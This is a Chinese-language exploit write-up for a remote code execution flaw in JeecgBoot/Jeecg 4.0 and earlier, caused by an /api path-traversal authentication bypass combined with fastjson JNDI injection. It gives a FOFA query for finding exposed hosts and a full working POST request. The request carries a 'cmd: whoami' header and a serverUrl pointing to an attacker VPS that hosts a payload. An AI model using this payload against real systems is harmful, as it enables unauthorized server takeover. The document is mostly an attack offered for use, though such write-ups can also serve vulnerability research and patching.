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J10-3JeecgBoot-企业级低代码平台-RCE

J10-3JeecgBoot-企业级低代码平台-RCE

漏洞描述:

Jeecg(J2EE Code Generation) 是开源的代码生成平台,目前官方已停止维护。Jeecg4.0及之前版本中,由于 /api 接口鉴权时未过滤路径遍历,攻击者可构造包含 / 的url绕过鉴权。并且内部有使用fastjson1.2.31漏洞版本,攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest 接口进行 jndi 注入攻击实现远程代码执行,获取服务器权限。

影响版本:

version <= 4.0  

网站图片:

image.webp

网络测绘:

fofa语法:

FOFA:app=“JEECG”

漏洞复现:

payload:

POST /api//jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: your-ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoami

serverUrl=http://vpsip/jeecg.txt&requestBody=1&requestMethod=GET

效果图:


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